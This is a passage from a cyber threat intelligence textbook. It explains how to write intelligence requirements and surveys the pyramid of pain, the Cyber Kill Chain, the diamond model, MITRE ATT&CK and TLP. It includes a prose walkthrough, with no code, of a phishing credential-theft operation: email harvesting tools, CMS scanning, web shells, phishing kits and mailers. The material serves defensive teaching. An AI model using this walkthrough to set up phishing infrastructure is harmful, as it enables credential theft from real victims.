			As we move toward the top of the pyramid, we begin to reduce the footprint of collectible information. This means it becomes annoying, challenging, and overall very difficult to obtain information. There is also a transition from attack surface data to information about the threat actor, the campaigns they launch, and the TTPs they utilize. This is where the transition between collecting attack surface data and collecting TTPs such as the attack vectors, the tools utilized, the campaigns launched, and even specific information about the threat actors takes place.

			Important Note

			The attack vector is the path or point in which the threat actor will gain access to a network or infrastructure. Usually, the vehicle that the threat actor utilizes in their playbook to compromise is repeated; therefore, it becomes a pattern of activity that can be associated with the threat actor or threat actor group.

			If you could summarize the differences in the information of your collection efforts, then it's also important to note that your intelligence requirements should be focused on one or the other, the attack surface data or information about the threat actor, their campaigns, or TTPs. Don't attempt to mix the two in the same intelligence requirement.

			When starting a CTI program at an organization, usually, your first developed requirements are attack surface and threat-indicator-centric, as your organization is largely hyper-focused on getting vetted threat indicators that can be used for blocking at scale. This is often why organizations also gravitate toward purchasing threat data feeds that contain vetted IOC information associated with known cyber attacks. For CTI programs that are just starting out or still in their infancy, this is the most likely scenario. Because of this, let's go through the process of defining collection for attack surface data that can be obtained and used by an organization for blocking or protection.

			A GIR example

			Let's start by looking at phishing. Because there are several types of phishing, including account credential theft, compromised business emails, and even spear-phishing, let's just focus on one. For this exercise, let's focus on account credential theft.

			If you remember from earlier in the chapter, an intelligence requirement should have some basic nomenclature: the priority of collection, the intelligence requirement or gap, and the description that contains the information we want to collect. As we define this further, we have cited evaluation criteria to determine whether the intelligence requirement that is developed is a good one. The judgment criteria include necessity, feasibility, timeliness, and specificity. 

			For us to identify the necessary collection elements, it's important for you to understand the attack scenario used by the threat actor to harvest credentials. In a phishing-based account credential attack, the threat actor needs to set up an infrastructure that is utilized for their collection of stolen credentials. This is a financially motivated crime as the threat actor wants to either sell or utilize these credentials for monetary gain. Let's review the infrastructure required for this attack and the steps taken by the threat actor before the victim is even contacted. 

			Phishing-based account credential harvesting

			Shifting your mindset, let's imagine that you are the threat actor in this scenario. We are trying to establish the necessary infrastructure for us to successfully phish account credentials from unbeknownst victims. The first thing we need to do is to identify the victim we want to phish. What this usually means is that we need to start collecting email addresses, as this will be an email-based social engineering attack.

			Important Note

			If you have never heard of social engineering before, note that it's utilized by several different attack types. Essentially, it's the process of using deception to manipulate the individual behind the keyboard into doing something that escalates the threat actor's position in the attack chain. This could be something as simple as getting them to go to a phishing site while they think it's some form of legitimate site or even divulging confidential or personal information. 

			As mentioned in Chapter 2, Threat Actors, Campaigns, and Tooling, threat actors are opportunistic in nature, meaning they take what they can and are looking for the simplest methods to achieve results. This can mean that they'll utilize any available tool to achieve a result.

			Email harvesting

			If the threat actor doesn't already have an adequate toolset in their arsenal, it's not very hard to establish one very quickly. A simple search on the internet using the term email harvesting can eventually lead you to open source tools that are meant to legitimately be used by security practitioners but could also be used to accomplish the threat actor's goal: to scrape the internet for exposed email addresses. An example of one of these tools is theHarvester (https://github.com/laramies/theHarvester). According to its documentation, it is a very simple to use, yet powerful and effective tool designed to be used in the early stages of a penetration test or red team engagement. Use it for open-source intelligence (OSINT) gathering to help determine a company's external threat landscape on the internet. The tool gathers emails, names, subdomains, IPs, and URLs using multiple public data sources. You can see how theHarvester is used in Figure 3.3:
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			Figure 3.3 – The theHarvester tool in use

			Simple tools such as these can simply be pointed at domain names and used to identify any email addresses that are exposed to the internet. Then, these email addresses can be added to a threat actors' collection of potential victims.

			You can see in Figure 3.4 that the result of an email harvesting tool provides an email address that can be utilized as a part of the phishing attack but also can provide additional detail about the domain's attack surface:

			
				
					[image: Figure 3.4 – An example scan result for Nasa.gov from the utilization of theHarvester]
				

			

			Figure 3.4 – An example scan result for Nasa.gov from the utilization of theHarvester

			Now it's important to note that the victim targets don't always have to come from harvesting attempts. Threat actors have been known to provide lists containing tens of thousands of email addresses, especially if they are trying to start an affiliate system in which they provide attack tools and reap the benefits of another threat actor utilizing their toolset. This helps eliminate the entry barrier to this crime for threat actors who want to perform this type of attack. Additionally, the developer of the tool can benefit from the fact that they have received harvested account credentials, a feature of the attack tools they created, and at the same time, don't have to deploy their tools. Now that the threat actor has the targets of the attack, let's look at the next component that needs to be established. 

			The website compromise

			The next thing the threat actor needs to do is establish a footprint to both launch the attack and also social engineer the victim. Normally, this is done through some form of web-based infrastructure exposed to the internet. While the threat actor could purchase some form of bullet-proof hosting, this is rather uncommon as most phishing infrastructures are hosted on legitimate domains where Content Management Systems (CMSes) are deployed and used to host websites. Threat actors usually identify a potential infrastructure by scanning for CMS deployments that have uncorrected vulnerabilities or insecure configurations. Now, it's overstating the obvious at this point, but the threat actor can simply utilize some form of an open source tool that scans CMS deployments for security flaws. One such tool that can be used is CMSmap (https://github.com/Dionach/CMSmap). According to the tool's documentation, CMSmap is a python open-source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. The main purpose of CMSmap is to integrate common vulnerabilities for different types of CMSs in a single tool. 

			Once the threat actor has identified a CMS deployment that is vulnerable and can be exploited, it's just a matter of exploiting the security flaw or vulnerability. Successful exploitation could allow the threat actor to access the internal filesystem of the web server deployment. Here, they could be allowed to access or modify data, traverse the directory and path explore in the operating system, or even escalate their own system privileges, as examples. Once inside, normally, the next step is to deploy a web shell to the server infrastructure.

			Web shells

			A web shell is a piece of code that can be interpreted by the targeted server environment. Once deployed to the web server, it delivers a shell-like interface to a browser that can be remotely accessed by the threat actor. Normally, web shells are infrastructure-dependent, meaning that the language they are written in is determined by the web-server deployment. If the server infrastructure is serving up .php files, then the web shell is written in PHP, and if the deployment is serving up .aspx or Active Server Pages, then the web shell is written in this language.

			It's important to note that web shells are commonly used by threat actors for a variety of purposes beyond our discussion here. Some of these additional reasons include the exfiltration of data, the establishment of a watering hole attack, the defacing of the existing website deployment, or in some instances, the deploying of a ransomware attack. The web shell gives the threat actor the ability of remote access to the server infrastructure and the ability to execute code. 

			For more information about web shells, you can access additional research from the Microsoft 365 Defender Research Team. Please refer to their February 2021 article titled Web shell attacks continue to rise at https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/.

			Phishing kits

			Once the threat actor has the web shell they intend to deploy to the infrastructure, which will both deploy the attack and social engineer the victim, they need to put some thought into what the social engineering attack will look like. Phishing attacks to steal account credentials are usually brand-focused, as the threat actors are usually trying to steal account credentials from the customers of financial institutions or retail and e-commerce organizations. While not limited to just these target industries, threat actors can most likely reap financial benefits quicker from these types of accounts during an account takeover.

			Phishing kits usually comprise two parts: the scam site and the mailer. The scam site is a collection of files that make up a web page that is meant to represent the targeted brand. The scam site is deployed to the compromised web server and the URL to this scam site is what is used in the social engineering attack. The idea here is that the threat actor will spam the victim target list with a social engineering email that represents the target brand. The social engineering attack is usually represented in some form of profile update in which the victim might need to change a password or update a credit card.

			If the social engineering attack is successful, then the victims will click on an embedded URL in the email sent to them, which will bring them back to the deployed scam site. The deployed scam site will usually host some type of update form, and once the victim updates the requested information, this information, or account credential, is harvested by the scam site, and the victim might get shuffled to the legitimate target brand site. Sometimes, the scam site will even post the credentials to the legitimate website as well, so the victim completes the account login process and is forwarded to the legitimate website feeling they have logged in legitimately.

			The second part of the phishing kit includes the mailer, which has two functions. The mailer is used to send the email to the victim targets and, additionally, can be used to send the account credentials to the threat actors' email address of choosing anytime the scam site form has a successful form completion event:
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			Figure 3.5 – An example of a mailer embedded within a phishing kit

			Even with the mailer embedded inside the phishing kit, the threat actor will need to obtain credentials to an SMTP server, which they can use to relay the mail messages. This configuration information is usually embedded within the phishing kit so that the kit can make use of these features effortlessly. If the threat actor does not have a mail relay, then one can be obtained for as little as $4 from dark markets or forums, as shown in Figure 3.6:
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			Figure 3.6 – The dark market offering STMP credentials for sale

			If you are unfamiliar with the phishing kit economy, then you would probably think that you would have to go to a dark market or forum to obtain a phishing kit. While they are sold on dark markets, this isn't the most efficient way to distribute them, as the act of just getting to a dark market poses an entry barrier that most people are not accustomed to. In fact, most phishing kits are either sold or freely offered over social media such as Facebook, YouTube, and GitHub, as you can see from the example in Figure 3.7. In fact, it's not uncommon for threat actors to offer tutorials on YouTube explaining how to properly configure and deploy a phishing kit created by the author:
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			Figure 3.7 – An example of a phishing kit advertisement targeting PayPal on Facebook

			Once the threat actor has all of these elements in place, they can begin the phishing attack. This could include harvesting the email address, compromising a web server, uploading a web shell, and more.

			Now that we are familiar with the threat campaign we are looking at, let's utilize it to write some GIRs.

			Example GIR

			First, let's start by establishing the goal of our intelligence requirement so that we fully understand the purpose. Since this is our first, acquiring attack surface data that will be used to block by the corporation seems to be a good fit, as this data might be simple to collect and plentiful. This is a simple introduction that will give us the fundamentals to build more complex intelligence requirements.

			Based on the goal, it appears as though the intelligence requirement is to obtain data about phishing-based account credential theft that can be used to harden our security posture. After quickly reviewing everything in the description, you should review all of the information from the description to identify any information that is necessary to meet the goal of the intelligence requirement. As examples, is the requirement feasible for the team to obtain? Can the information can be obtained quickly enough for you to action? And finally, is the information obtained specific enough for the group to understand what the data is? So, let's go ahead and restate everything in the form of the example GIR from earlier in the chapter.

			Goal: To obtain intelligence that can be used to bolster our security posture:
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			Table 3.7 – The GIR for attack surface data

			You can see in Table 3.7 that we have created a requirement to collect threat indicators related to phishing-based account credential theft. This is a high priority for us, as our goal is to validate these threat indicators and utilize them for blocking directly within our corporate environment. Finally, the indicator types are defined in the description of the intelligence requirement in which we ask for the phishing URLs and email addresses used to deliver the phishing messages.

			It's important to note that if your information regarding phishing URLs and email addresses has been sourced directly, meaning that you have established a CTI program where you have researchers directly poised to identify phishing URLs and obtain email addresses that are used directly in phishing messages, then this information could also be leveraged as an additional monetization stream. Some organizations utilize their GIRs to build out threat indicator curation and validation programs with the intention of offering them to customers as a high confidence threat data feed.

			Knowing what we now know of the threat campaign used by the threat actor, we can also shift the GIR toward gaining knowledge of the threat ecosystem by simply moving up the pyramid to focus on TTPs, campaigns, and information about the threat actor. Remember, as you lay out the threat-actor-focused GIR, remember to establish the goal of the data collection. Some organizations use this information to develop portfolios around actors, their campaigns, and their TTPs, even sharing this information with law enforcement to assist in having the threat removed. Others utilize the threat actor data to develop dossiers and intelligence reporting that they sell to inform and educate their customers. Now, let's shift our focus here and think about what would be required to develop some GIRs that are threat actor focused. Let's start by rewriting the goal of the collection effort.

			Goal: To obtain intelligence information about threat actors, their threat campaigns, and the TPPs they utilize to steal account credentials.

			Here, we've tried to make the goal broader. Notice how we don't use the term "phishing." That's because we don't want to scope the requirements to a single technique that the threat actor uses to steal account credentials. While we won't fully demonstrate any threat-actor-focused GIRs as, usually, they are organization-centric, let's leave you with some food for thought as you continue with the exercise:

			
					Is there any information regarding threat actors directly targeting the organization or the brand of the organization?

					Is there any information regarding threat actors targeting the organization's customers or the sectors in which our customers operate? 

					Is there any information regarding threat actors targeting the sector in which the organization operates?

					What tactics, techniques, and procedures are the threat actors using that focus on account credential theft? 

					What are the primary motivations of the threat actor for targeting our organization or brand, our customers, or the operating sector of the industry?

					Have there been any major political, legislative, regulatory, or governance activities that have provided motivation for these attacks?

			

			As you can see, there is a lot more to think about when your collection efforts move toward focusing on the threat actor as some of your collected information should help you articulate the reasoning behind the threat actors' attack and postulate future activity.

			Summary

			Throughout this chapter, we began by discussing the need and benefit of guidelines, procedures, standards, and policies. We spent some time providing guidance around building out a GIR and providing judgment criteria to determine whether the one you are defining is well-crafted and how to evaluate it. Then, we talked about how to prioritize the GIR and make it organization-centric.

			After that general introduction, we introduced you to FCRs, IERs, DIRs, PIRs, and SIRs, which gave you the opportunity to decide how granular your collection management could be. One suggestion could be to move all the requirements into a relational database for ease of tracking the interconnectivity between all the requirements. 

			In the next chapter, we will begin by introducing you to the threat intelligence frameworks, standards, and platforms that can be used to collect, store, and distribute threat intelligence collection. Understanding the available frameworks, the standards around storage and marking, and the platforms available for distribution and consumption will make it easier for your organization to not only consume but also distribute threat intelligence overall.

		

	
		
			Chapter 4: Threat Intelligence Frameworks, Standards, Models, and Platforms

			Making use of CTI is a paramount requirement for any effective organizational threat intelligence program. While often considered a drab topic in CTI, threat intelligence frameworks, standards, and platforms should form the foundation of any CTI program. 

			As we've observed in the previous chapters, creating and adopting an effective CTI program is a diverse and challenging endeavor. Organizations should put acute focus on developing a robust adoption of common industry standards, platforms, and frameworks to ensure CTI is collected, stored, observed, and enriched. When leveraged holistically, frameworks, models, platforms, and standards provide and enable you to collect and produce CTI.

			This chapter examines threat intelligence frameworks, standards, models, and platforms, including commonly recognized standards such as STIX and TAXII. This chapter will assist in providing familiarity with and hopefully a foundation of common approaches that enables a collective response to cybersecurity threats and intelligence gathering and sharing. 

			This chapter will help you learn how to use and share intelligence in a structured and repeatable format, thus making intelligence sharing easy and semi-automated.

			In this chapter, we are going to cover the following topics:

			
					The importance of adopting frameworks and standards

					Threat modeling methods and frameworks

					Threat intelligence and data sharing frameworks

					Storage platforms

			

			The importance of adopting frameworks and standards

			The need for frameworks and standards throughout threat intelligence is unique and required due to several reasons. First and foremost, frameworks and standards help organize, structure, and facilitate sharing, analyzing, and understanding threat intelligence data and information from internal or external teams. These frameworks, models, and standards help establish baselines on how sharing, analysis, and modeling should be done, and more.

			Frameworks and standards that are leveraged across the CTI function of an organization help us focus on the details of sharing, modeling, classifying, and analyzing threat intelligence data and information. Organizations that rely on common frameworks and models should be used as part of a comprehensive CTI strategy. With that, let's examine some of the most widely used frameworks, models, and standards.

			Threat modeling methods and frameworks

			Often, individuals and organizations find that threat modeling uses visualizations and that threat frameworks help to identify the threat actors' capabilities, motivations, and goals. This practice has been known to drive software and product improvements, harden security postures, and even drive threat intelligence requirements as part of the cyclical nature of constant evaluation. The purpose of utilizing these methods and frameworks is to train the hunters, researchers, and analysts who are looking at the intelligence collection to have a mindset that considers how the adversary will compromise a system. These modeling methods and frameworks discussed are meant to be repeatable and, at times, benefit from security automation to aid the organization. Let's examine some that are popular within the CTI industry.

			Threat intelligence pyramid of pain

			In Chapter 3, Guidance and Policies, when we discussed General Intelligence Requirements (GIRs), we initially introduced you to the threat intelligence pyramid of pain. This explains the levels of threat intelligence that are available and can be obtained by collecting threat intelligence data, as well as the level of difficulty often associated with collection in each phase. This difficulty is a direct reference to the pain level represented in the pyramid's hierarchy, while its availability has a direct relationship with the volume of the pyramid's representative section. The threat intelligence pyramid of pain is shown in the following diagram:
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			Figure 4.1 – Threat intelligence pyramid of pain

			Let's walk through each pain reference, starting at the bottom and moving upwards:

			
					Trivial: At the very bottom of the pyramid, and considered trivial to obtain, is raw observable data. Observable data is the building block information that all other information is based on. It is measurable observations that are associated with some type of operation specific to computer or network operations. These artifacts can include anything from network logs to operating system logging during normal computer operations. The nomenclature that can be collected is almost limitless here.

					Easy: As the raw observable data is reviewed and associated with data types, insight can be gained from the observable data as it is vetted for contextualization. Adding this data type and its contextualization is often referred to as vetting your intelligence. This process allows us to typify and identify attack surface data that could be useful after associating it with intrusion sets or malware campaigns. At this stage, the indicator is not necessarily malicious. The indicators that are associated with the attack surface can include any number of indicator types, such as IP addresses, domain names, and URLs, to name a few.

					Simple: As the contextual indicator data is reviewed and there is complete confirmation that the indicator data can be tied to an intrusion set, exploitation, or even malware campaign, they are referred to as either threat indicators or indicators of compromise (IoCs). In computer-based forensics, this data is normally forced into four main categories: network-based, registry-based, file-based, and process-based. As an example, let's say you derive a URL from your observables. This may not necessarily be a C2 because the URL may have a legitimate purpose. But as you perform malware dynamic analysis on an obtained file, you identify communication to the URL from a malicious process during file execution. Here, your indicator becomes a network-based indicator of compromise as you can tie the threat indicator back to a file that has showcased malicious activity.Important Note
Some hunters, researchers, and analysts sometimes simply stop here as this is the clear bisection between attack surface data and data associated with threat actors. It will depend on the goal of intelligence collection and the maturity of the organization to determine if their CTI programs move upward through the pyramid to begin making judgments regarding the threat actor's methodologies, the reasons behind their threat campaigns, and even attribution. If the goal of the organization is to obtain highly confident threat data just to block and harden the organization's security posture, this may be as far as your team travels up the pyramid.


					Annoying: The transition from IoC-based collections to mapping out the methodology the threat actor uses to compromise is not simple. At this stage, organizations largely focus on the tools the threat actors utilize and the tactics, techniques, and procedures (TTPs) associated with their attack. This is where the organization is beginning to focus more on identifying patterns of behavior and postulating defensive strategies around attack vectors and toolsets that are commonly used by the threat actors. As organizations begin to make this transition away from relying on hardening with threat indicators and shifting toward breaking the attack chain, this is where most holistic data analysis begins. Instead of just looking inward, organizations start looking at all the information that can be collected from the dark web and sourcing information from other trusted partners. This also means that there is a transition in the mindset of an organization. No longer are they just relying on threat data feeds and security automation for protection – they've decided that understanding the behavior of the threat actor and roadblocking this behavior is crucial for hardening their security posture.

					Challenging: Once a threat actor has successfully compromised an organization, appeased their internal motivation, and completed their attack objective, they're going to be riding high, having just completed an attack chain. However, now that they've done it once, they know what parts of what they attempted to do works. They are going to want to do it all over again as well and use the methodology they used originally. This approach has become their playbook and for simplicity, they may even reutilize parts of the infrastructure they used previously, including tools they know work and their intrusion sets. When the threat actors' tools and TTPs are utilized as a part of the threat actor's playbook, this can be called a threat campaign. These threat campaigns usually occur in waves as the threat actors will focus on specific targets. An example of a campaign could be a threat actor's attack that exploits a content management system vulnerability for initial access, exfiltrating data, and executing ransomware for financial gain. Each wave of the same attack playbook is a threat campaign. It's challenging to identify and categorize these appropriately without some knowledge of the attack.

					Tough: While it might be easy to presume the motivations of a threat actor based on the origin of the attack, the targets involved, and the TTPs associated with their threat campaigns, getting attribution and identity is tough and sometimes impossible.

			

			Additionally, some organizations don't care to seek out attribution, and often, this type of intelligence work is reserved for law enforcement and intelligence organizations or private corporations who have strategic partnerships with these government entities.

			Cyber Kill Chain

			The Cyber Kill Chain (https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) is a series of steps that traces the threat actor through the life cycle of their attack, from early reconnaissance through to data exfiltration. It was originally introduced by Lockheed Martin in 2011 and was used to model computer intrusions on a computer network. Since its introduction, it has evolved as the community has adopted it to illustrate the actions that the threat actor takes to perform a cyber-attack. In each phase of the kill chain, there is an opportunity for organizations to identify and stop a cyber-attack if they are equipped to identify and recognize the TTPs the threat actor is using for an attack.

			The Cyber Kill Chain life cycle, as shown in the following diagram, consists of eight stages, all of which we will discuss, and provide examples of potential kill strategies for organizations. Based on the Lockheed Martin model, it is meant to represent the actions a threat actor could potentially take during the life cycle of their attack:
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			Figure 4.2 – The life cycle of the Cyber Kill Chain

			Let's look at all the stages in detail:

			
					Reconnaissance: Every attack begins with some form of scouting and this includes cyber-attacks. In this stage of the attack chain, threat actors are actively scanning for information that will support them in targeting a victim. Earlier in this book, we introduced a scenario where the threat actors utilized a scanning tool to look for vulnerabilities in internet-facing CMS deployments. This is exactly the type of activity that we are referencing. While not an easy phase of the kill chain to block, there are examples of scanning that can be recognized by identifying large amounts of traffic in your network logs that originate from a single source. However, there are likely instances of passive reconnaissance that are performed by the threat actor that will never be detected. Detecting such traffic can provide insights into the targeting being performed by the threat actor. 

					Intrusion: During the Reconnaissance phase of the attack, the threat actor was looking for a weakness that could be exploited to gain initial access to the infrastructure. Once completed, the threat actor now has an initial foothold into the environment. This is the phase where initial access occurs and the threat actor enters the organization's infrastructure. In our example, the threat actor is exploiting a vulnerability in a public-facing application on the organization's attack surface. Several vehicles can assist in identifying exploitation, and they could assist in preventing the intrusion activity, such as using a network-based intrusion detection system (NIDS) or network intrusion prevention system (NIPS). The key differentiator between the two is that the NIDS passively detects malicious traffic over a network with no interference of traffic. The NIPS can actively interrupt the flow of traffic, meaning that with malicious traffic detection, the NIPS can alter the flow of that traffic or halt it completely. Snort (https://www.snort.org/) is a very commonly used open source NIPS that utilizes a series of rules to assist in identifying malicious activity.

					Exploitation: Once the threat actor has obtained a foothold in the targeted corporation's infrastructure, then they are going to want to perform a variety of tasks to achieve some larger goal. It has become quite popular for threat actors to utilize some form of shell in the operating system to achieve their next goal. For example, threat actors may abuse PowerShell commands to execute malware payloads in the operating system's environment. In an example such as this, there are various methods that system administrators can implement that will assist in detecting PowerShell abuse for malicious purposes. 

					Privilege Escalation: Often used in tandem with Exploitation and Lateral Movement, this phase is where our threat actor is seeking opportunities that will provide them high-level permissions in the environment. While it's likely that they can explore a system or network environment with unprivileged access, they will often be looking for a vehicle to gain higher-level privileges to achieve their objective. This can be something as simple as token impersonation, where the threat actor duplicates and then impersonates another user's token to escalate their privileges and bypass controls. One methodology for combatting this is strict user account management. System administrators should be sure that they restrict user accounts so that they have the least privileges possible.

					Lateral Movement: The initial foothold into the environment usually isn't going to provide the juicy access the threat actor needs to achieve their objective. As an example, corporate intellectual property most likely won't be hosted on the same server as the web server hosting the CMS deployment. Most of the time, the threat actor will need to move throughout the corporate network to discover what is available for them and obtain access to it. This involves the threat actor bringing their tools to the table or utilizing legitimate credentials to obtain access to the system. When targeting the organization, an easy vehicle for the threat actor to obtain account credentials would be to look for credential dumps that contain compromised credentials from users from the targeted organization. However, if the threat actor needs to obtain credentials, then the easiest way to obtain credentials is through some form of credential theft that's initiated through a spear-phishing campaign aimed at specific users or groups within the organization. Since this is a social engineering attack, organizations should implement some form of email-based security and invest in user training to identify phishing campaigns. 

					Obfuscation and Anti-Forensics: During the Lateral Movement phase of the attack, the threat actor will be utilizing any legitimate credentials they can obtain to inspect systems within the infrastructure, all while looking for data of value or seeking out any opportunity to achieve their goals. This is going to make a lot of noise and the threat actor doesn't want to risk losing their foothold by being discovered. There are many techniques the threat actor can use to cover their tracks, including utilizing obfuscation and encryption, disabling security software and logging, and even time stomping, where they modify the timestamps in the operating system so that the files appear unchanged. In our example, let's say the threat actor is using obfuscated files to hide the artifacts of an intrusion from being analyzed. Depending on the deployment, the intrusion set that's utilized may assist in deobfuscation or the threat actor may even utilize the Windows API functionality. In either way, system-level processes and command-line monitoring should be enabled to detect malicious behavior. 

					Denial of Service: Depending on the threat actor's motivations, this stage of the attack may or may not be used. While not commonly used by traditional espionage motivations, it is a common tactic that's used by ransomware actors. In this instance, ransomware threat actors disrupt the systems that are used by users for any number of reasons. In the ransomware scenario, the threat actor announces their presence and prevents access to the system and data for extortion. This phase is often interchangeable with the Exfiltration phase as some threat actors in this scenario exfiltrate data for proof and sale, while other times, they leave the encrypted files in place. There are numerous touchpoints in a corporate infrastructure that the threat actor can leverage for data theft. Frequently, threat actors can be seen staging data for exfiltration. Instead of moving individual files out of the network one by one, they are observed using compression and encryption container files such as 7-Zip, RAR, and ZIP in publicly writeable directories on the network. In this case, corporations should monitor processes and command-line arguments for actions that collect, move, and combine files.

					Exfiltration: Once the threat actor has identified the files they want to steal, they need a vehicle to exfiltrate this data to another location that is controlled by the attacker. There are various ways to accomplish this remotely or even physically. However, the most common method is to exfiltrate from an internet-facing endpoint to either another compromised infrastructure or a cloud endpoint. Most of the time, exfiltration is usually performed to the C2 infrastructure that's used throughout the attack chain and in these cases, data in movement is encoded with the same protocols the C2 uses for communication. C2 infrastructure includes the networks systems that are controlled by the threat actor. These are utilized during the attack. Often, NIPSes utilize network signatures to identify and block known malware C2 traffic from utilizing signatures that identify intrusion or exploitation activity in network traffic.

			

			As you can see, the Cyber Kill Chain is very popular because defensive evasions can be implemented at any point of the threat actor's attack chain. Additionally, it's represented as a life cycle because as soon as they are done with one attack, they will be looking to initiate the same threat campaign again, if not operating concurrently. 

			Diamond model

			The diamond model is a threat modeling concept that was popularized in 2013 by a popular whitepaper titled The Diamond Model of Intrusion Analysis (https://www.threatintel.academy/wp-content/uploads/2020/07/diamond-model.pdf). The diamond model is intended to be a method that's employed by incident responders, threat researchers, and others to track attackers and groups over time, versus individual attacks. 

			The diamond model is used to classify different elements of an attack, which are typically identified during an intrusion event. This includes identifying the adversary, the capability of the adversary, the victim, and the adversary's infrastructure:
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			Figure 4.3 – The diamond model

			The diamond model helps detail fundamental malicious activity that's been identified during research or an incident, and the core concepts, when employed properly, can be used to discover and track both adversary and malicious activity. When viewed holistically during an incident, an adversary always exists that is taking steps toward a goal with capabilities of using infrastructure against a victim:

			
					Adversary: The adversary is merely attempting to identify the unique characteristics of the actor or group performing the threat activity. Some unique identifying data points could include items such as the adversary's C2 domain infrastructure, or specific malware builders that are used exclusively by specific nation state actor groups.

					Capability: Here, we seek to recognize the capabilities of the adversary. Identifying capabilities helps build a profile of the attacker, determining their methods and techniques to better understand them. These adversary capabilities are often observed as part of exploiting vulnerabilities, capitalization on loopholes in systems, and deployed security technologies. Some examples of identifying these capabilities include a Ransomware-as-a-Service (RaaS) affiliate actor compromising exposed organizational RDP instances on the internet, or a nation state attacker leveraging the Net Logon Elevation of Privilege Vulnerability (CVE-2020-1472) to compromise a domain controller.

					Victim: Identifying the victim helps uncover details about the way a threat operates, including their specific victims, which may be part of a larger attack on an industry sector. The diamond model illustrates an adversary using capabilities with infrastructure against victims to accomplish a goal. Examples of common victims include organizations, assets, email addresses, and IP addresses.

					Infrastructure: Identifying and analyzing infrastructure includes the physical or logical mechanisms by which adversaries carry out their operations with capabilities against victims. Understanding the infrastructure of an adversary helps us develop a profile of the attacker while also enabling blocking and tracking infrastructure both proactively and reactively. Some examples of common infrastructure include domain names, IP addresses, WHOIS records, and more. 

			

			It's recommended that diamond model analysis is performed for every incident or research endeavor that is completed as it represents an integrative approach to tracking an adversary and their related attributes and victims. Now, let's review an example of diamond model analysis.

			MITRE ATT&CK

			MITRE ATT&CK (https://attack.mitre.org/) stands for MITRE Adversarial Tactics, Techniques, and Common Knowledge and was started in 2013. MITRE ATT&CK is a repository of knowledge that contains information about tactics and techniques based on observations. ATT&CK is the threat modeling framework that's used in private, public, and government agencies and organizations. 

			We can consider ATT&CK to be a knowledge base and model that contains information and data about adversary behavior and the different stages of the attack life cycle. This compendium of adversary tactics and techniques can easily be understood by both attackers and defenders.

			ATT&CK is divided into two core concepts, centered around tactics and techniques:

			
					Tactics: This denotes a specific short-term goal during an attack. These goals are correlated to actor behavior and where they are at in their attack life cycle.

					Techniques: This denotes the specific techniques and means that are employed by the threat actor to achieve their goal. 

			

			Specific to ATT&CK, there are 14 tactics, with several techniques contained within them:

			
					Reconnaissance: This tactic involves developing further information for adversary operations in the future. Reconnaissance includes 10 individual adversary techniques, all focusing on information gathering, ranging from active scanning to gathering victim network information.

					Resource Development: This tactic involves developing and establishing the resources that the threat actor uses for adversarial operations, such as setting up C2 infrastructure or acquiring malware builders. This tactic contains six adversary techniques; that is, acquiring infrastructure, compromising accounts, compromising infrastructure, developing capabilities, establishing accounts, and obtaining capabilities. 

					Initial Access: These are the techniques and tactics that are employed to breach target networks, such as spear-phishing or accessing open RDP instances. Initial access includes nine individual techniques, ranging from drive-by compromise to phishing and exploiting public-facing applications.

					Execution: Executing malicious code or tools, such as by running malware on an endpoint. Execution contains 12 individual techniques, ranging from exploitation for client execution to user execution.

					Persistence: This tactic involves maintaining access and the attacker's foothold. As an example, this could include an attacker changing configurations to allow persistent access. Persistence includes 19 techniques, from account manipulation to creating accounts and creating or modifying system processes.

					Privilege Escalation: Privilege escalation involves elevating the privileges of the attacker to continue furthering their objectives. As an example, attackers can leverage a domain admin account to perform defense evasion. Privilege escalation includes 13 techniques, ranging from abusing elevation control mechanisms to creating or modifying system processes and process injection.

					Defense Evasion: Defense evasion involves the attacker attempting to remain undetected. This could involve log clearing or using trusted processes to mask malware behavior. The defense evasion tactic includes 39 wide-ranging techniques, including abuse elevation control mechanisms, deploying containers, modifying registry, and virtualization/sandbox evasion.

					Credential Access: This tactic involves stealing usernames and passwords to enable the later stages of the attacker's life cycle. This can be done by using keyloggers, for example. The credential access tactic includes 15 techniques, including brute force, forced authentication, and network sniffing.

					Discovery: Attackers broaden their network by continuing to expand their horizons. Discovery involves the attacker looking for additional points of infection, ultimately trying to understand their environment. An example could be an attacker executing a port scanner on a victim network to identify later movement opportunities. Discovery includes 27 techniques, some of which include account discovery, file and directory discovery, and network share discovery.

					Lateral Movement: This involves the attacker moving laterally to another identified host on the network. Lateral movement typically involves the credentials that were identified during the persistence and privilege escalation stages of the attacker's life cycle. The lateral movement tactic includes nine techniques, ranging from exploiting remote services to remote service session hijacking. 

					Collection: This involves the adversary collecting relevant data for their goal. This could include collecting files and zipping them up in preparation for exfiltration. The collection tactic includes 17 techniques, including archiving collected data and data from cloud storage objects to video capture. 

					Command-and-Control: This involves the attacker controlling and communicating with the compromised host to control them. A common example would include malware executing a ping command from a command-and-control infrastructure on a remote host. The command-and-control tactic includes 16 techniques, including communicating through removable media and data obfuscation.

					Exfiltration: This involves offloading data that's been collected during the collection phase of the attack. This is what typically amounts to stealing data. An example of this would include a ransomware affiliate using Pcloud to upload victim files to a cloud service provider. The exfiltration tactic includes nine techniques, including automated exfiltration and exfiltration over web services.

					Impact: Finally, the host is manipulated or disrupted, sometimes to cover the attacker's tracks. An example of this would be an attacker executing a wiper on an infected endpoint before leaving the victim's environment. Impact contains 13 techniques, including data destruction, firmware corruption, and system shutdown/reboot:
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			Figure 4.4 – The MITRE ATT&CK framework

			The depth of MITRE ATT&CK is wide, as are its uses. To find out more and examine each technique in greater detail, you can take a look at the various MITRE ATT&CK techniques at https://attack.mitre.org/techniques/enterprise/.

			Within each tactic, techniques are listed that correlate to the overall behavior of an adversary. MITRE ATT&CK is an industry framework that's utilized by public and private organizations worldwide to convey threat actor behavior mappings, making threat intelligence more actionable. MITRE ATT&CK is often used by red teams to model attacks based on real-world examples. CTI analysts find MITRE ATT&CK particularly useful because it enables a common taxonomy for sharing specific adversary TTPs.

			Now that we've covered some of the most fundamental methods and frameworks that are used throughout the CTI industry, let's examine some of the most prolific CTI data sharing frameworks that facilitate controlled and systematically sharing technical CTI data.

			Threat intelligence and data sharing frameworks

			Sharing frameworks are frameworks that intend to share threat intelligence indicators or observable data or intelligence. While many frameworks can be leveraged for sharing, we will cover the three primary frameworks.

			Traffic light protocol

			Traffic light protocol (TLP) is a model that's used for classifying information into the appropriate categories to facilitate intelligence and data sharing. TLP is a scheme that helps the original data holder designate a level for appropriate sharing, ensuring that the data isn't shared errantly. 

